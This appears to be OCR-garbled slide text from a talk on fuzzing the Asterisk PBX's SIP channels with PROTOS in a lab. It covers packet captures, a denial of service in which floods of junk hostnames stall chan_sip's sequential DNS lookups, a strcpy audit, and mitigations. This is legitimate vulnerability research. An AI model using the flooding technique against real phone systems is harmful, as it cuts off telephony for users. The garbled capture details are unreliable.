AST-2019-002: REMOTE CRASH VULNERARBILITY WITH MESSAGE MESSAGES
AST-2018-004: CRASH WHEN RECEIVING SUBSCRIBE REQUEST
AST-2018-002: CRASH WHEN GIVEN AN INVALID SDP MEDIA FORMAT DESCRIPTION



FIRST FINDING WITH PROTOS

o TEST 1/ Fuzz A PJSIP SIP TRUNK, JUST TARGET PBX IP CALLING THE TRUNK NUMBER, NO
AUTHENTICATION

— APPROX. 5000 TESTS, NO LUCK.

o TEST 2/ CREATE A PJSIP EXTENSION, REQUIRES AUTHENTICATION, PUT 000/000,
PB: NO AUTH INBUILT, SO REGISTERED A SIP CLIENT ON KALI, ZOIPER, THEN FUZZED

CALLING FROM EXT ATO EXT B
— APPROX. 5000 TESTS, NO LUCK.

o TEST 3/ CREATE A CHAN_SIP EXTENSION, REQUIRES AUTH, SAME STORY.
AFTER APPROX 800 TESTS (1 MINUTE) |BI=ABIX@®I®{ ||| NO MORE ANSWERS TO
REGISTER/INVITES FOR ANYONE.



DEADLOCK?

* SO, UNDER ASSAULT, CHAN_SIP APPARENTLY FREEZED ASTERISK 13.22.0
* | VERIFIED THIS WASN'T CAUSED BY FAIL2BAN AS DISABLED IN THE FIRST PLACE
* RESTARTING ASTERISK FROM CLI FIXES IT Il

Asterisk CLI

CLI Command core restart now Send Command

Loading. . .

‘ #2 interfaces
File Edit View Go Capture Analyze Statistics Telephony Wir Tools Help
A N () TIRE Q == EEF ==
I,
i Source Destination Protocol Length Info

192.: 192.168.146.14: SIP 637 Request: REGISTER sip:192.168.146.141:5160;transport=UDP (1 binding) |
). 192 192.168.146 .14 SIP/SDP 796 Request: INVITE sip:08 02.168.146.141
0.844904 192 192 _168.146 .14 SIP/SDP 1108 Request: INVITE sip: 192.168.146.141
). 945957 192.: 192.168.146.14: SIP/SDP 196 Request: INVITE sip:@00@192.168.146.141
1.846907 192.: 192.168.146.14: SIP/SDP 1332 Request: INVITE sip:000@192.168.146.141
1.147835 192.: 192.168.146 .14 SIP/SDP 9 Re : INVITE sip @192.168.146.141
1.249089 192.: 192.168.146 .14 SIP/SDP 5@ Re : INVITE sip: 192.168.146.141
1.3560109 192.: 192.168.146 .14 SIP/SDP 5 Re : INVITE sip: 192.168.146.141
192 192 _168.146 .14 SIP/SDP : INVITE sip: 192.168.146.141
192.: 192 _168.146.14: SIP/SDP L : INVITE sip: @192.168.146.141
192.: 192.168.146.14: SIP/SDP 6 : INVITE sip: 192.168.146.141
192.: 192.168.146 .14 SIP/SDP 10 : INVITE sip: .146.141
192.: 192.168.146 .14 SIP/SDP 1220 : INVITE sip:06@ -146.141
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SIP

You have an error associated with this account. dismiss

005@192.168.146.141 Request Timeout (code: 408)

Domain
Jsername

Password

[sip

Source Destination Protocol Length Info
A7.196487 192.168.146.145 192.168.146.141 SIP 637 Request: REGISTER sip:192.168.146.141:5160;transport=UDP (1 binding) |
-197443 192.168.146.145 192.168.146.141 S5IP 637 Request: REGISTER sip:192.168.146.141:5160;transport=UDP (1 binding) |
55.198117 192.168.146.145 192.168.146.141 SIP 637 Request: REGISTER sip:192.168.146.141:5160;transport=UDP (1 binding) |

Frame 18985: 637 bytes on wire (5896 bits), 637 bytes captured (5896 bits) on interface @
Ethernet II, Src: Vmware 22:c5:c9 (@0:0c:29:22:c5:c9), Dst: Vmware fd:81:7c (00:0c:29:fd:81:7¢c)
Internet Protocol Version 4, Src: 192.168.146.145, Dst: 192.168.146.141
User Datagram Protocol, Src Port: 60132, Dst Port: 5168
v Session Initiation Protocol (REGISTER)
Request-Line: REGISTER sip:192.168.146.141:516@;transport=UDP SIP/2.0
v Message Header
Via: SIP/2.@/UDP 37.173.14.199:5567;branch=z9hG4bK-524287-1---098c2419ee10ale9; rport
Max-Forwards: 7@
Contact: <sip:005@37.173.14.199:5567;rinstance=8919929ade9bf%dc;transport=UDP>
To: <sip:005@192.168.146.141:5160; transport=UDP>
From: <sip:@85@192.168.146.141:5160;transport=UDP>;tag=397e7737
Call-ID: 7-3f6]f9iQuuEg-2Lc8SEw. .
CSeq: 17 REGISTER
Expires: 6@
Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE, OPTIONS, INFQ, SUBSCRIBE
User-Agent: Z 5.2.28 rv2.8.114
Allow-Events: presence, kpml, talk

o R T T T



DEBUGGING

LOOKING FURTHER IN WIRESHARK | NOTICED THAT ASTERISK WAS STILL ALIVE TRYING TO
RESOLVE BOGUS DNS ENTRIES LONG AFTER (5 MINUTES) THE FUZZ STOPPED:

A
A W @ -l q - - £ s ¥ : ; OO E
|sip or icmp or dns
Mo. Time Source Destination Protocol Length Info
i 6l. 2019-89-28 ©7:54:37.739889 192.168.146.145 192.168.146.141 SIP 642 Request: REGISTER sip:192.168.146.141:5168;transport=UDP (1 binding) |
i 61. 2019-89-28 @7:54:38.740874 192.168.146.145 192.168.146.141 SIP 642 Request: REGISTER sip:192.168.146.141:5168;transport=UDP (1 binding) |
i 6l.. 2019-09-28 ©7:54:40.741128 192.168.146.145 192.168.146.141 SIP 642 Request: REGISTER sip:192.168.146.141:5168;transport=UDP (1 binding) |
C 61. 2019-09-28 07:54:41.928643 192.168.146.141 192.168.146.2 DNS 120 Standard query @x0401 A Znininnienienienananenen en e ededexindndndndixixixix . localdomain
61.. 2019-89-28 @7:54:44.741936 192.168.146.145 192.168.146.141 SIP 642 Request: REGISTER sip:192.168.146.141:5168;transport=UDP (1 binding) |
61. 2019-89-28 @7:54:46.932974 192.168.146.141 192.168.146.2 DNS 108 Standard query @xf421 A Znkninikninininininininieniodndxitdndndedix i indix
61.. 2019-89-28 @7:54:48.742504 192.168.146.145 192.168.146.141 SIP 642 Request: REGISTER sip:192.168.146.141:5168;transport=UDP (1 binding) |
6l.. 2019-89-28 @7:54:49.858499 192.168.146.2 192.168.146.141 DNS 183 Standard query response @xf421 No such name A nienienZenZenZnZninin n n et e dex dex Jex 3633
61.. 2019-89-28 @7:54:49.059028 192.168.146.141 192.168.146.2 DNS 120 Standard query @x0077 A Znkninikninininininininiiniodacdxibxixioxiexixixixix¥x . localdomain
61.. 2019-89-28 @7:54:52.743193 192.168.146.145 192.168.146.141 SIP 642 Request: REGISTER sip:192.168.146.141:5168;transport=UDP (1 binding) |
61. 2019-89-28 07:54:54.061685 192.168.146.141 192.168.146.2 DNS 120 Standard query @x0077 A Znkniniknininininininininiodndixidndidaxiixixiixin®x . localdomain
61.. 2019-89-28 @7:54:56.743071 192.168.146.145 192.168.146.141 SIP 642 Request: REGISTER sip:192.168.146.141:5168;transport=UDP (1 binding) |
6l.. 2019-89-28 ©7:54:59.863337 192.168.146.141 192.168.146.2 DNS 188 Standard query @xB698 A nin NN en en en en N N N N e e R S T T T e
61.. 2019-09-28 07:55:00.743747 192.168.146.145 192.168.146.141 SIP 642 Request: REGISTER sip:192.168.146.141:516@;transport=UDP (1 binding) |
fAl.. ?2019-A9-28 A7:55:01.207060 192 _168.146.2 192 _.168.146.141 NNS 183 Standard auerv resnonse BxPAI0 No such name A “n¥nfnininininininininin it i i

Frame 6168: 120 bytes on wire (968 bits), 120 bytes captured (96@ bits) on interface @
Ethernet II, Src: Vmware fd:81:7¢ (00:0c:29:1d:81:7c), Dst: Vmware ef:7d:f9 (@0:50:56:ef:7d:+9)



DNS REQUESTS NOT ASYNCHRONOUS

e DIGGING IN ASTERISK BUG TRACKER HTTPS://ISSUES.ASTERISK.ORG/JIRA/BROWSE

» TURNS OUT IT'S AN OLD DESIGN ISSUE IN CHAN _SIP, HOSTNAMES IN SIP PACKETS ARE LOOKED UP
IN DNS SEQUENTIALLY, SO WHEN PROTOS SENDS JUNK HOSTNAME ENTRIES A DNS QUERY OCCURS.

* TRANSLATION: SIP FLOOD WITH JUNK HOSTNAMES ENTRIES RESULTS IN CHAN_SIP DOS UNTIL ALL
ARE RESOLVED.

* FUZZ OF 1 MINUTE RESULTED IN MY CASE IN 5 MINUTES DOWNTIME OF TELEPHONY...

Frame 6168: 120 bytes on wire (968 bits), 120 bytes captured (960 bits) on interface @
Ethernet II, Src: Vmware_ fd:81:7c (00:0c:29:fd:81:7c), Dst: Vmware_ef:7d:f9 (80:50:56:ef:7d:19)
Internet Protocol Version 4, Src: 192.168.146.141, Dst: 192.168.146.2
User Datagram Protocol, Src Port: 38299, Dst Port: 53
Domain Name System (query)

Transaction ID: @x@4@1

Flags: 0x0100 Standard query

Questions: 1

Answer RRs: @

Authority RRs: @

Additional RRs: @

Queries

[Name Length: 60]

[Label Count: 2]

Type: A (Host Address) (1)
Class: IN (0x@0e1)



https://issues.asterisk.org/jira/browse

WHAT'S NEXTe

« 1/ CVES PUBLICATION
e 7/ FUZZ MORE2 MANY PROTOCOLS
« 3/ AUDIT THE C/C++ CODE?¢

* BASIC KNOWLEDGE BUT CAN SEE THAT PLENTY SDL BANNED FUNCTIONS ARE USED
HTTPS://GITHUB.COM/INTEL/SAFESTRINGLIB/WIKI/SDL-LIST-OF-BANNED-FUNCTIONS

* E.G SEARCHING STRCPY() IN LATEST ASTERISK SOURCES FOUND ON GITHUB, 709 HITS, SOME
MARKED “SAFE"”, OTHERS NOT...

CISearch "strcpy" (709 hits in 186 files)

] C:\Users\computer\Desktop\PBXs\Open Source\Asterisk\asterisk-16.4.0-current.tar\asterisk-16.4.0\res\res pjsip\pjsip distributor.c (2 hits)
Line (tdata_name, name) ; /* Safe */
Linejuiels Sdgas)l (unid->src name, rdata->pkt info.src name); /* Safe */

]  C:\Users\computer\Desktop\PBXs\Open Source\Asterisk\asterisk-16.4.0-current.tar\asterisk-16.4.0\res\res pjsip\pjsip message filter.c (4 hits)
Linefgs{se Eydyasl (header name, "Request"); /* Safe */
LinefgsyE: Sydyaslt (header name, "From"); /* Safe */
Linefgsygs Sydyasl (header name, "To"); /* Safe */
BOE 383 Eydyasl (header name, "Contact"); /* Safe */

= C:\USErS\comiuter\DESkto-\PBXS\O-en Source\Asterisk\asterisk-16.4.0-current.tar\asterisk-16.4.0\res\res pjsip\pjsip options.c (4 hits)

Linefgsylt Epgges) (contact status->name, name); /* SAFE */

BOE 601 Eydyasl (aor status->name, name); /* SAFE */
974 strcpy

Lincjkleld: ERdgasl (endpoint state compositor->name, ast sorcery object get id(endpoint)); /* SAFE */

]  C:\Users\computer\Desktop\PBXs\Open Source\Asterisk\asterisk-16.4.0-current.tar\asterisk-16.4.0\res\res pjsip\pjsip scheduler.c (2 hits)
LineElls: Eigges) ( schtd->name, name); /* Safe */
Lincjsyy.: Sagges)( last start, "not yet started");



https://github.com/intel/safestringlib/wiki/SDL-List-of-Banned-Functions

CONCLUSIONS

* SEEN PLENTY OF EXAMPLES OF VULNERABILITIES
* CAUSED MAINLY BY IMPROPER SANITIZATION OF INPUTS
* MITIGATE THESE BY:
* FOLLOWING CODING GOOD PRACTICES (OWASP ETC..)
« E.G STANDARDIZED PARSING, PARAMETERIZATION (SQL)
¢ USE OF FRAMEWORKS DOING IT FOR YOU IN PLACE OF REINVENTING THE WHEEL
« ADDITIONAL CONTROLS SUCH AS HTTP HEADERS ON THE WEBSERVER LEVEL, WAF, ETC

* REPORTING TAKES LOT OF TIME!

e LATEST NEWS, 18/09/2019 MICROSOFT/GITHUB ACQUIRES SEMMLE, A COMPANY DOING
SOURCE CODE AUDITING SOFTWARE, PLANS FOR AUTO-CHECKS ON SOURCES REPOS?



QUESTIONS?

 DID YOU LIKE IT¢

*  ANYONE WANTS TO CONTRIBUTE NEXT?




